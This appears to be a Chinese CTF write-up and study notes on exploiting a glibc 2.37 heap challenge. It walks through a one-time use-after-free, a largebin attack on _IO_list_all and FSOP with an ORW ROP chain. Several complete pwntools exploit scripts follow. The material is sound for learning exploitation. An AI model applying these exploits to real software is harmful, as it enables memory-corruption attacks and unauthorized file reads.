另一方面是edit的chunk错了,uaf只有一个, 并且要注意,申请后或者删除后再edit, 不能edit了再add或者delete,fd等字段会改写,可能会出问题
pd为什么要移动过0x10
看看xq那个ppt
先输出所有的文件,再联合pwntools进行调试
echo -n “directory “; find /path/to/glibc-2.27 -type d | tr ‘\n’ ‘ ‘
总结 还是差些火候,但是已经很接近了,一方面是基础漏洞的利用,大概知道怎么用,但是还是细节上理解的不够,另一方面,对复杂的复杂利用链熟悉度不够,这方面需要加强, 关键还是捋顺思路,其实回看exp,真的就是几处细节的事,但细节反应了对原理的不清晰,只是模棱两可不理解本质
并且…碰到了一个大坑…以后docker起了以后还是先看好libc版本等, 遇到一些奇怪的问题的时候,反过来看是不是自己不小心改了什么….这一次就是libc版本从2.37-0ubuntu2.1_amd64升级到了2.37-0ubuntu2.2 _amd64,而题目有个地方用到了偏移…于是乎这道题目就做不出来了…
最后其实可以用p大法,调用函数,看是否触发了io流
1 LC_CTYPE=C.UTF-8 gdb `find ./glibc-2.37 -type d -printf '-d %p ' ` ./chal
题目分析 libc: 2.37-0ubuntu2.1_amd64 版本
防护分析 防护全开,并且禁用了一些系统调用
1 2 3 4 5 6 7 8 9 10 11 line CODE JT JF K ================================= 0000: 0x20 0x00 0x00 0x00000004 A = arch 0001: 0x15 0x00 0x05 0xc000003e if (A != ARCH_X86_64) goto 0007 0002: 0x20 0x00 0x00 0x00000000 A = sys_number 0003: 0x35 0x00 0x01 0x40000000 if (A < 0x40000000) goto 0005 0004: 0x15 0x00 0x02 0xffffffff if (A != 0xffffffff) goto 0007 0005: 0x15 0x01 0x00 0x0000003b if (A == execve) goto 0007 0006: 0x06 0x00 0x00 0x7fff0000 return ALLOW 0007: 0x06 0x00 0x00 0x00000000 return KILL
代码分析 ida反编译可能会有问题, 可以多尝试几个不同版本ida….(当时电脑上7.0的就没识别出来那个switch选择不同操作)
1 2 3 4 5 6 7 ./chal 1. add_note2. delete_note3. edit_note4. look_note5. close_notech>
1.add 大小只能是 0x40f - 0x450之间, 也就是large bin,
base + 0x4068存储着指针,base + 0x4060存储着size, 依次存放, 最多申请 16个堆块
1 2 3 4 5 6 7 8 9 10 11 12 13 14 .bss:0000000000004060 unk_4060 db ? ; ; DATA XREF: add+DC↑o .bss:0000000000004060 ; delete+DB↑o ... .bss:0000000000004061 db ? ; .bss:0000000000004062 db ? ; .bss:0000000000004063 db ? ; .bss:0000000000004064 db ? ; .bss:0000000000004065 db ? ; .bss:0000000000004066 db ? ; .bss:0000000000004067 db ? ; .bss:0000000000004068 ; _QWORD qword_4068[31 ] .bss:0000000000004068 qword_4068 dq 1F h dup (?) ; DATA XREF: add+66 ↑o .bss:0000000000004068 ; add+A1↑o ... .bss:0000000000004068 _bss ends .bss:0000000000004068
1 2 3 4 5 6 pwndbg> tele 0x4060 +0x555555554000 00 :0000 │ 0x555555558060 ◂— 0x41a 01 :0008 │ 0x555555558068 —▸ 0x55555555b2a0 ◂— 0x0 02 :0010 │ 0x555555558070 ◂— 0x41a 03 :0018 │ 0x555555558078 —▸ 0x55555555b6d0 ◂— 0x0 04 :0020 │ 0x555555558080 ◂— 0x0
2.delete (一次UAF机会) 这里的4010也是一开始是1,第一次的话,可以有一次UAF的机会 (可以用unsortedbin泄露地址)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 unsigned __int64 sub_162B () { unsigned __int64 v1; unsigned __int64 v2; v2 = __readfsqword(0x28 u); v1 = sub_14D0((__int64)"index> " ); if ( v1 > 0xF ) _exit(0 ); if ( !qword_4068[2 * v1] ) _exit(0 ); if ( byte_4010 ) { free ((void *)qword_4068[2 * v1]); byte_4010 = 0 ; } else { free ((void *)qword_4068[2 * v1]); qword_4068[2 * v1] = 0LL ; *((_QWORD *)&unk_4060 + 2 * v1) = 0LL ; } return v2 - __readfsqword(0x28 u); }
3.edit 1 2 3 4 5 6 7 8 9 10 11 12 13 14 unsigned __int64 sub_172C () { unsigned __int64 v1; unsigned __int64 v2; v2 = __readfsqword(0x28 u); v1 = sub_14D0((__int64)"index> " ); if ( v1 > 0xF ) _exit(0 ); if ( !qword_4068[2 * v1] ) _exit(0 ); sub_140A("content> " , qword_4068[2 * v1], *((_QWORD *)&unk_4060 + 2 * v1)); return v2 - __readfsqword(0x28 u); }
这里大小什么的貌似都没啥问题、这里可以用于UAF之后把
4.look(一次show的机会) 而且只输出了0x20,感觉像是泄露libc地址
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 unsigned __int64 sub_17E7 () { unsigned __int64 v1; unsigned __int64 v2; v2 = __readfsqword(0x28 u); v1 = sub_14D0((__int64)"index> " ); if ( v1 > 0xF ) _exit(0 ); if ( !qword_4068[2 * v1] ) _exit(0 ); if ( byte_4011 ) { write(1 , (const void *)qword_4068[2 * v1], 0x20 uLL); write(1 , "\n" , 1uLL ); byte_4011 = 0 ; } return v2 - __readfsqword(0x28 u); }
它后面是iofile
1 2 3 4 5 6 7 8 9 pwndbg> tele 0x4011 +0x555555554000 00 :0000 │ 0x555555558011 ◂— 0xd000000000000001 01 :0008 │ 0x555555558019 ◂— 0x8000007ffff7fb26 02 :0010 │ 0x555555558021 (stdout +1 ) ◂— 0x7ffff7fb27 03 :0018 │ 0x555555558029 ◂— 0xa000000000000000 04 :0020 │ 0x555555558031 (stdin +1 ) ◂— 0x7ffff7fb1a 05 :0028 │ 0x555555558039 ◂— 0xa000000000000000 06 :0030 │ 0x555555558041 (stderr +1 ) ◂— 0x7ffff7fb26 07 :0038 │ 0x555555558049 ◂— 0x0
解题思路 泄漏地址后, 可以edit, 然后利用largebin attack把伪造的chunk放入链中, 用FSOP进行攻击,因为限制了系统调用,可以采用ORW或其他手法
1.泄漏地址
1.泄漏地址(libc和堆地址) 如何泄露两个地址呢?
largebin? 既有fd, 也有fdnext, 一个指向libc地址,一个指向了堆块地址
large bin attack https://github.com/shellphish/how2heap/blob/master/glibc_2.37/large_bin_attack.c
https://ctf-wiki.org/pwn/linux/user-mode/heap/ptmalloc2/large-bin-attack/
这里遇到了一个关键点,没搞好,所以可能导致卡住了,就是写入的地址是哪个chunk? 如何控制呢?
写入的地址是本chunk的地址!
edit(0,p64(libcbase+0x1f70d0)*2+p64(heap_base+0x290)+p64(iolistall-0x20)) delete(2)
这里删除的是2,所以写入的就是2的地址
largebin
与 bk 不同的是 bk_nextsize 来自的是 fwd(unsorted bin)-> fd 而不是 unsorted bin ,可以劫持。 因此如果将 large bin 中的最小的 chunk 的 bk_nextsize 指向 &target - 0x20 的位置,然后加入一个更小 chunk 就会将 target 写入新加入 chunk 的地址。
https://blog.csdn.net/qq_45323960/article/details/123003301
栈迁移、ROP 搜索命令多尝试depth, 有符号的话可以直接找…
1 2 3 4 5 6 7 8 9 ROPgadget --binary ./libc.so.6 --depth 25 | grep "mov rbp, qword ptr \[rdi +" 0x00000000001629ea : mov rbp, qword ptr [rdi + 0x48 ] ; mov rax, qword ptr [rbp + 0x18 ] ; lea r13, [rbp + 0x10 ] ; mov dword ptr [rbp + 0x10 ], 0 ; mov rdi, r13 ; call qword ptr [rax + 0x28 ]
可以把后面都布置到同一个chunk里,会方便很多
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 0000240e5 : pop rdi ; ret000002573 e : pop rsi ; ret000026302 : pop rdx ; ret 0000288 da : leave ; ret 000037 d86 : pop r12 ; pop r13 ; ret 0000240e0 : pop r13 ; pop r14 ; pop r15 ; ret 022832 :syscall; ret; stack = b"" stack += p64(libc_base + 0x00000000000400f3 ) # pop rax ; ret stack += p64(2 )stack += p64(libc_base + 0x00000000000240e5 ) # pop_rdistack += p64(heap_base + 0x380 + 0x10 )stack += p64(libc_base + 0x000000000002573e ) # pop_rsistack += p64(2 )stack += p64(libc_base + 0x000000000026302 ) # pop rdx ; ret stack += p64(0 )stack += p64(libc_base + 0x0000000000022832 ) # syscall; ret; #stack += p64(libc.sym.open) # open stack += p64(libc_base + 0x00000000000240e5 ) # pop_rdistack += p64(0 )stack += p64(libc_base + 0x000000000002573e ) # pop_rsistack += p64(heap_base + 0x380 )stack += p64(libc_base + 0x000000000026302 ) # pop rdx ; pop r12 ; ret stack += p64(0x40 )stack += p64(libc.sym.read) # read stack += p64(libc_base + 0x00000000000240e5 ) # pop_rdistack += p64(1 )stack += p64(libc_base + 0x000000000002573e ) # pop_rsistack += p64(heap_base + 0x380 )stack += p64(libc_base + 0x000000000026302 ) # pop_rdxstack += p64(0x40 )stack += p64(libc.sym.write) # write
ROP有两种 一种是利用libc的函数进行ROP、另外一种是利用系统调用进行ROP, 但是为啥系统调用的失败了呢?
libc函数的话, 分别用rdi rsi rdx来构造三个参数
系统调用的话(32位)
系统调用号,即 eax 应该为 0xb
第一个参数,即 ebx 应该指向 /bin/sh 的地址,其实执行 sh 的地址也可以。
第二个参数,即 ecx 应该为 0
第三个参数,即 edx 应该为 0
flag.txt 一开始是这样,构造/flag.txt总是有问题,
1 2 3 4 5 0x110 :leak_heap+0x110 ,0x110 +0x8 :pop131415,0x110 +0x18 :'flag\x00\x00\x00\x00' , 0x110 +0x20 :0 ,0x110 +0x28 :pop_r12_r13,
后来根据debug显示的信息发现前面有干扰信息
把前面填充成0就可以了
1 2 3 4 0x110 +0x10 :0 , 0x110 +0x18 :'/flag.tx' , 0x110 +0x20 :'t\x00\x00\x00\x00\x00\x00\x00' ,0x110 +0x28 :pop_r12_r13,
你的payload有什么不同? 为啥失败了? 你edit了两个chunk,其实不行的,要利用uaf,只能用到那一个chunk,其他的利用都不行,
??? 回头看倒不知道为啥失败了,可以再试试看, 反正失败的那个chunk会受到free的时候fd什么影响
1 2 3 4 5 6 payload = b''. join([ p64(leak_list[0 ]), p64(leak_list[1 ]), p64(leak_list[2 ]), p64(_IO_list_all_addr-0x20 ), ])
为什么要触发两次呢? (其实不是故意的触发两次,而是要申请出一个堆块,然后edit填入后面的payload,从而导致又触发了一些东西,
第一次触发前
第一次触发后(第二次触发前
1 2 3 4 5 else { p->fd_nextsize->bk_nextsize = p->bk_nextsize; p->bk_nextsize->fd_nextsize = p->fd_nextsize; }
如何触发? 起个gdb server? docker调试?
并且还得把debug目录考出来? /usr/lib/debug
注意这个build id要一样
libc.so.6: ELF 64-bit LSB shared object, x86-64, version 1 (GNU/Linux), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=d320ce4e63925d698610ed423fc4b1f0e8ed51f1, for GNU/Linux 3.2.0, stripped
为什么这里能再次修改 _IO_list_all ???
1 add_note(0x418) # link [0] to _IO_list_all_addr
脱链的操作?
1 2 3 4 5 else { p->fd_nextsize->bk_nextsize = p->bk_nextsize; p->bk_nextsize->fd_nextsize = p->fd_nextsize; }
► 51 _IO_acquire_lock (fp);
遇到了新问题, 布置的chunk会被覆盖掉两个值.. 或者设定好的值是会有变动的, 那么这里是怎么解决的呢?
所以是因为自己看的代码里 理解错了??
1 2 3 4 5 6 7 8 void __noreturn sub_197F () { FILE *stream; for ( stream = *(FILE **)off_4018; stream; stream = stream->_chain ) fclose(stream); _exit(0 ); }
难道还是环境的问题???? 还是先用给的环境吧, 差一点可能也不行
思路和资料收集 所以,应该不涉及tcache、 ( 后记: 是的这个思路正确
v1只说了不能大于0xf 所以可以用负数? 或者怎么表示负数呢?
0xff是不是就溢出了 (后记: 这个思路不对,不能是负数
largebin attach (后记: 思路正确
是否可以修改fd bk,到堆地址上,类似 house of orange
高版本堆利用
https://www.roderickchan.cn/zh-cn/2023-03-01-analysis-of-glibc-heap-exploitation-in-high-version/
https://www.cnblogs.com/7resp4ss/p/17300224.html
基本考虑就是largebin+fsop
https://bbs.kanxue.com/thread-278695.htm
https://blog.csdn.net/qq_45323960/article/details/123003301
能在任意地址写上p2的地址,所以就可以把iofile的那个_chain指针写成p2的,然后伪造p2为iofile就可以了!!!
如果使用largebin attack就可以一步到位指向布置在chunk上的伪造结构体。同时还可以修改_chain
指针,劫持到多个伪造的结构体的利用链
不需要泄露堆地址,因为可以直接把p2的赋值过去
https://deepunk.icu/2023/07/27/house-of-cat/
根据这个题改的把, 而且本题edit没有限制
https://zikh26.github.io/posts/7de5a5b7.html
https://kagehutatsu.com/?p=723
libc版本是多少呢?(后记: 看dockerfile就行了
https://blog.csdn.net/weixin_52640415/article/details/126157319
libc6_2.35-0ubuntu3/lib/x86_64-linux-gnu/libc.so.6
https://github.com/MuelNova/PwNo/blob/ad370fda3835add52ba68580d206fb3f5fb46c88/src/pwno/helper/IO/cat.py#L7
高版本利用 总结:https://www.roderickchan.cn/zh-cn/2023-03-01-analysis-of-glibc-heap-exploitation-in-high-version/
house of cat
https://blog.csdn.net/qq_61670993/article/details/134147133
这里有讲ROP:https://nicholas-wei.github.io/2022/08/02/house-of-cat/
https://xz.aliyun.com/t/12349
house of obstack 总结:https://www.ctfiot.com/102675.html
house of corrosion
House of apple1
https://bbs.kanxue.com/thread-273418.htm#msg_header_h3_1
https://blog.csdn.net/qq_62172019/article/details/130779745?spm=1001.2014.3001.5502
banana
https://www.cnblogs.com/trunk/p/17157420.html
坑总结 起的docker安装软件会对libc有影响 因为本身pwn题目和libc版本就强相关,一点小变动都影响很大,而题目中还用了偏移(以后可以多注意下),更有影响了, 更新/下载一些软件,会给libc打patch之类的!!! 如果以后觉得有东西很奇怪,可以问问的!!!!!!!!!!!!!!!!!!!!!!!不要憋着(不过感觉这个可能和题目有关…理论上也不能问)
比如apt-get install python3-pip, 安装完之后libc的加载地址就不一样了,原先最后是3000
1 2 3 4 linux-vdso.so.1 (0x00007ffff7fc6000) libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007ffff7db4000) /lib64/ld-linux-x86-64.so.2 (0x00007ffff7fc8000)
可以看到, 安装python3-pip的时候会安装libc相关的
1 2 3 4 5 The following NEW packages will be installed: binutils binutils-common binutils-x86-64 -linux-gnu build-essential bzip2 ca-certificates cpp cpp-12 dirmngr dpkg-dev fakeroot fontconfig-config fonts-dejavu-core g++ g++-12 gcc gcc-12 gcc-12 -base gnupg gnupg-l10n gnupg-utils gpg gpg-agent gpg-wks-client gpg-wks-server gpgconf gpgsm javascript-common libalgorithm-diff-perl libalgorithm-diff-xs-perl libalgorithm-merge-perl libasan8 libassuan0 libatomic1 libbinutils libbrotli1 libbsd0 libc-dev-bin libc-devtools libc6-dev libcc1-0 ...
如何用docker里给的ld和libc 直接用ld运行二进制文件, 但是,记得要加./ 不然识别不了….太坑了..所以以后还是写好路径…
1 2 3 4 5 6 7 8 9 1. add_note 2. delete_note 3. edit_note 4. look_note 5. close_note chal: error while loading shared libraries: chal: cannot open shared object file
gdb 调试这种启动方式 : gdb -args ./ld-linux-x86-64.so.2 ./chal (但是…这样的话,chal的加载地址会和普通方式不太一样
https://www.cnblogs.com/7resp4ss/p/17300224.html#poc 看一下人家是怎么用的…
就正常的patchelf就行了,但自己的用法有个误区 ..patchelf 设置–set-rpach的时候是设置搜索路径..不是设置文件..
patchelf –set-rpath /pwn/clearhuanjing/testldlibc/libc.so.6 ./chal 这是错误的
patchelf –set-rpath /pwn/clearhuanjing/testldlibc/ ./chal 这才对
caocaocao 虽然官网没给….但是可以改下url就找到了…
https://launchpad.net/ubuntu/lunar/amd64/libc6-dbg/2.37-0ubuntu2.1
exp 自己的改写成功的( edit 正确的、成功输出字符串) 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 from pwn import *context(os = 'linux' , arch = 'amd64' , log_level = 'debug' ) context.terminal = ['tmux' , 'splitw' , '-h' ] def debug (cmd='' ): cmd += "b main\n" gdb.attach(p, cmd) pause() host = "" port = 0 p = process("./chal" ) libc = ELF("./libc.so.6" ) debug() def add (size ): p.sendlineafter("ch>" , str (1 )) p.sendlineafter("size>" ,str (size).encode()) def delete (index ): p.sendlineafter("ch>" , str (2 )) p.sendlineafter("index>" ,str (index).encode()) def show (index ): p.sendlineafter("ch>" , str (4 )) p.sendlineafter("index>" ,str (index).encode()) def edit (index, content ): p.sendlineafter("ch>" , str (3 )) p.sendlineafter("index>" ,str (index).encode()) p.sendlineafter("content>" ,content) add(0x420 ) add(0x430 ) add(0x418 ) delete(0 ) add(0x440 ) show(0 ) libc_base = u64(p.recvuntil("\x7f" )[-6 :].ljust(8 ,b"\x00" )) -0x1f70d0 log.success("libc_base = {}" .format (hex (libc_base))) p.recvuntil("\x7f\x00\x00" ) heap_base = u64(p.recvn(6 ).ljust(8 ,b"\x00" )) -0x290 log.success("heap_base = {}" .format (hex (heap_base))) libcbase=libc_base system=libcbase+libc.sym['system' ] leakheap = heap_base leak_heap = heap_base lb = libcbase iolistall = libcbase + 0x1f7680 leak_heap = heap_base+0x290 struct_fp = fit({ 0x20 : 0x0 , 0x28 : leak_heap+0xe8 +0x30 +1 , 0x30 : leak_heap+0xe8 +0x30 +1 , 0x88 : leak_heap+0x1170 , 0xd8 : 0x1f2d00 + libc_base +0x8 }, filler=b'\x00' , length=0xd8 +8 ) pd = flat( { 0x0 :bytes (struct_fp), 0xe0 :leak_heap+0xe8 , 0xe8 :[ 0 , 0 , leak_heap+0xe8 +0x30 +1 , leak_heap+0x110 , p32(11 ), ], 0x110 :leak_heap+0x110 , 0x110 +0x18 :[ '/bin/sh\x00' , 0 ], 0x110 +0x38 :libc_base+libc.sym.puts, 0x110 +0x48 :leak_heap+0x110 +0x18 , 0x110 +0x50 :[0xff ] } ) edit(0 ,p64(libcbase+0x1f70d0 )*2 +p64(heap_base+0x290 )+p64(libcbase+0x1f7680 -0x20 )) delete(2 ) add(0x440 ) add(0x418 ) edit(0 ,pd[0x10 :]) pause() p.sendlineafter("ch>" , str (5 )) p.interactive()
libc函数ROP 成功exp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 from pwn import *context(os = 'linux' , arch = 'amd64' , log_level = 'debug' ) context.terminal = ['tmux' , 'splitw' , '-h' ] def debug (cmd='' ): cmd += "b main\n" gdb.attach(p, cmd) pause() host = "" port = 0 p = remote("127.0.0.1" , 31020 ) libc = ELF("./libc.so.6" ) def add (size ): p.sendlineafter("ch>" , str (1 )) p.sendlineafter("size>" ,str (size).encode()) def delete (index ): p.sendlineafter("ch>" , str (2 )) p.sendlineafter("index>" ,str (index).encode()) def show (index ): p.sendlineafter("ch>" , str (4 )) p.sendlineafter("index>" ,str (index).encode()) def edit (index, content ): p.sendlineafter("ch>" , str (3 )) p.sendlineafter("index>" ,str (index).encode()) p.sendlineafter("content>" ,content) add(0x420 ) add(0x430 ) add(0x418 ) delete(0 ) add(0x440 ) show(0 ) libc_base = u64(p.recvuntil("\x7f" )[-6 :].ljust(8 ,b"\x00" )) -0x1f70d0 log.success("libc_base = {}" .format (hex (libc_base))) p.recvuntil("\x7f\x00\x00" ) heap_base = u64(p.recvn(6 ).ljust(8 ,b"\x00" )) -0x290 log.success("heap_base = {}" .format (hex (heap_base))) libcbase=libc_base system=libcbase+libc.sym['system' ] leakheap = heap_base leak_heap = heap_base lb = libcbase iolistall = libcbase + 0x1f7680 leak_heap = heap_base+0x290 struct_fp = fit({ 0x20 : 0x0 , 0x28 : leak_heap+0xe8 +0x30 +1 , 0x30 : leak_heap+0xe8 +0x30 +1 , 0x38 : leak_heap + 0x200 , 0x48 : leak_heap + 0x200 , 0x88 : leak_heap+0x1170 , 0xd8 : 0x1f2d00 + libc_base +0x8 }, filler=b'\x00' , length=0xd8 +8 ) pop_rdi = libc_base +0x0000240e5 pop_rsi = libc_base + 0x02573e pop_rdx = libc_base + 0x026302 syscallret = libc_base + 0x22832 leave_ret = libc_base + 0x00288da pop_r12_r13 = libc_base + 0x000037d86 pop131415 = libc_base +0x0240e0 pd = flat( { 0x0 :bytes (struct_fp), 0xe0 :leak_heap+0xe8 , 0xe8 :[ 0 , 0 , leak_heap+0xe8 +0x30 +1 , leak_heap+0x110 , p32(11 ), ], 0x110 :leak_heap+0x110 , 0x110 +0x8 :pop131415, 0x110 +0x10 :0 , 0x110 +0x18 :'/flag.tx' , 0x110 +0x20 :'t\x00\x00\x00\x00\x00\x00\x00' , 0x110 +0x28 :pop_r12_r13, 0x110 +0x30 : pop_rdi, 0x110 +0x38 :leave_ret, 0x110 + 0x40 :pop_r12_r13, 0x110 +0x50 :[0xff ], 0x110 + 0x58 : pop_r12_r13, 0x128 + 0x48 : leak_heap+0x200 , 0x110 + 0x68 : leak_heap+0x200 , 0x110 + 0x70 : pop_rdi, 0x110 + 0x78 : leak_heap+0x128 , 0x110 + 0x80 : pop_rsi, 0x110 + 0x88 : 0 , 0x110 + 0x90 : pop_rdx, 0x110 + 0x98 : 0 , 0x110 + 0xa0 : libc_base+libc.sym.open , 0x110 + 0xa8 : pop_rdi, 0x110 + 0xb0 : 3 , 0x110 + 0xb8 : pop_rsi, 0x110 + 0xc0 : leak_heap+0x300 , 0x110 + 0xc8 : pop_rdx, 0x110 + 0xd0 : 0x40 , 0x110 + 0xd8 : libc_base+libc.sym.read, 0x110 + 0xe0 : pop_rdi, 0x110 + 0xe8 : 1 , 0x110 + 0xf0 : pop_rsi, 0x110 + 0xf8 : leak_heap+0x300 , 0x110 + 0x100 : pop_rdx, 0x110 + 0x108 : 0x30 , 0x110 + 0x110 : libc_base+libc.sym.write } ) edit(0 ,p64(libcbase+0x1f70d0 )*2 +p64(heap_base+0x290 )+p64(libcbase+0x1f7680 -0x20 )) delete(2 ) add(0x440 ) add(0x418 ) edit(0 ,pd[0x10 :]) pause() p.sendlineafter("ch>" , str (5 )) p.interactive()
原始exp (失败的、做题的时候写的) ( 可以回头看看还差多少…离成功 ) 少了个锁
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 from pwn import *from pwncli import *context(os = 'linux' , arch = 'amd64' , log_level = 'debug' ) context.terminal = ['tmux' , 'splitw' , '-h' ] def debug (cmd='' ): cmd += "b main\n" gdb.attach(p, cmd) pause() host = "" port = 0 p = process("./chal" ) libc = ELF("./libc.so.6" ) debug() def add (size ): p.sendlineafter("ch>" , str (1 )) p.sendlineafter("size>" ,str (size).encode()) def delete (index ): p.sendlineafter("ch>" , str (2 )) p.sendlineafter("index>" ,str (index).encode()) def show (index ): p.sendlineafter("ch>" , str (4 )) p.sendlineafter("index>" ,str (index).encode()) def edit (index, content ): p.sendlineafter("ch>" , str (3 )) p.sendlineafter("index>" ,str (index).encode()) p.sendlineafter("content>" ,content) add(0x420 ) add(0x430 ) add(0x418 ) delete(0 ) add(0x440 ) show(0 ) libc_base = u64(p.recvuntil("\x7f" )[-6 :].ljust(8 ,b"\x00" )) -0x1f70d0 log.success("libc_base = {}" .format (hex (libc_base))) p.recvuntil("\x7f\x00\x00" ) heap_base = u64(p.recvn(6 ).ljust(8 ,b"\x00" )) -0x290 log.success("heap_base = {}" .format (hex (heap_base))) libcbase=libc_base system=libcbase+libc.sym['system' ] leakheap = heap_base leak_heap = heap_base lb = libcbase iolistall = libcbase + 0x1f7680 stack = b"" stack += p64(libc_base + 0x00000000000400f3 ) stack += p64(2 ) stack += p64(libc_base + 0x00000000000240e5 ) stack += p64(heap_base + 0x380 + 0x10 ) stack += p64(libc_base + 0x000000000002573e ) stack += p64(2 ) stack += p64(libc_base + 0x000000000026302 ) stack += p64(0 ) stack += p64(libc_base + 0x0000000000022832 ) stack += p64(libc_base + 0x00000000000240e5 ) stack += p64(0 ) stack += p64(libc_base + 0x000000000002573e ) stack += p64(heap_base + 0x380 ) stack += p64(libc_base + 0x000000000026302 ) stack += p64(0x40 ) stack += p64(libc.sym.read) stack += p64(libc_base + 0x00000000000240e5 ) stack += p64(1 ) stack += p64(libc_base + 0x000000000002573e ) stack += p64(heap_base + 0x380 ) stack += p64(libc_base + 0x000000000026302 ) stack += p64(0x40 ) stack += p64(libc.sym.write) putsaddr=libcbase+libc.sym['puts' ] fake_fp = heap_base +0x2a0 import pwnclifake_printf_buffer = fake_fp+0x58 fp = pwncli.IO_FILE_plus_struct() fp.vtable = 0x1f2d00 + libc_base fp._IO_write_ptr = fake_printf_buffer+ 0x30 + 1 fp._IO_write_end = fake_printf_buffer + 0x30 + 1 fp._IO_write_base = 0x0 fp._lock = leak_heap+0x1170 fp._IO_backup_base = 0xff fp._IO_buf_base = putsaddr fp._IO_save_base = fake_fp + 0xa0 fp._wide_data = 0x68732f6e69622f fp = pwncli.payload_replace(bytes (fp),{ 0x58 :0 , 0x60 :0 , 0x68 :fake_printf_buffer + 0x30 + 1 , 0x70 :0 , 0x78 :11 , 0x80 :fake_fp }) pd = pwncli.flat( { 0x0 :bytes (fp), 0xe0 :fake_printf_buffer, } ) edit(0 ,p64(libcbase+0x1f70d0 )*2 +p64(heap_base+0x290 )+p64(iolistall-0x20 )) delete(2 ) add(0x440 ) add(0x418 ) edit(0 ,pd) pause() p.sendlineafter("ch>" , str (5 )) p.recv(1000 ) p.interactive()
weichaode 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 from pwncli import * cli_script() io: tube = gift.io elf: ELF = gift.elf libc: ELF = gift.libc filename = gift.filename is_debug = gift.debug is_remote = gift.remote gdb_pid = gift.gdb_pid def cmd (i, prompt='ch>' ): sla(prompt, str (i)) def add (sz ): cmd('1' ) sla('size>' ,str (sz)) def edit (i,cont ): cmd('3' ) sla('>' ,str (i)) sla('>' ,(cont)) def show (i ): cmd('4' ) sla('>' ,str (i)) def dele (i ): cmd('2' ) sla('>' ,str (i)) add(0x428 ) add(0x428 ) add(0x418 ) add(0x430 ) dele(0 ) add(0x450 ) show(0 ) lb = recv_current_libc_addr(0x1f70d0 ,0x100 ) leak_ex2(lb) libc.address = lb r(10 ) leak_heap = u64_ex(r(6 )) leak_ex2(leak_heap) dele(2 ) fake_fd_bk = lb + 0x1f70d0 edit(0 ,flat( { 0 :[ [fake_fd_bk]*2 , 0x0 ,libc.sym._IO_2_1_stderr_ + 0x68 -0x20 ] },filler='\x00' )) add(0x450 ) add(0x418 ) fake_fp = leak_heap gg1 = libc.search(asm("mov rbp,QWORD PTR [rdi+0x48];mov rax,QWORD PTR [rbp+0x18]" )).__next__() gg2 = libc.search(asm("pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret" )).__next__() tmp_addr = leak_heap+0x200 fp = IO_FILE_plus_struct() fp.vtable = 0x1f2d18 - 0x10 + lb fp._IO_write_ptr = leak_heap+0xe8 + 0x30 + 1 fp._IO_write_end = leak_heap+0xe8 + 0x30 + 1 fp._IO_write_base = 0x0 fp._lock=lb + 0x1f8a20 fp._IO_read_base = flat("flag.txt" ) fp._IO_backup_base = 0xff fp._IO_buf_base = gg1 fp._IO_save_base = tmp_addr CG.set_find_area(1 ,1 ) rop_pd = flat( { 0 : [CG.orw_chain(fake_fp+0x18 ,leak_heap+0x100 ,2 ,1 ,0x30 )] } ) pd = flat( {0x0 :bytes (fp), 0xe0 :leak_heap+0xe8 , 0xe8 :[ 0 , 0 , leak_heap+0xe8 + 0x30 + 1 , leak_heap+0x110 , p32(11 ), ], 0x110 :leak_heap, 0x200 :{ 0x8 :gg2, 0x38 :gg2, 0x48 :tmp_addr, 0x10 :tmp_addr+0x100 , 0x18 :tmp_addr, 0x28 :libc.search(asm("leave;ret" )).__next__(), 0x68 :rop_pd } } ) edit(0 ,flat( { 0 :pd[0x10 :] } )) leak_ex2(gg1) cmd(5 ) ia()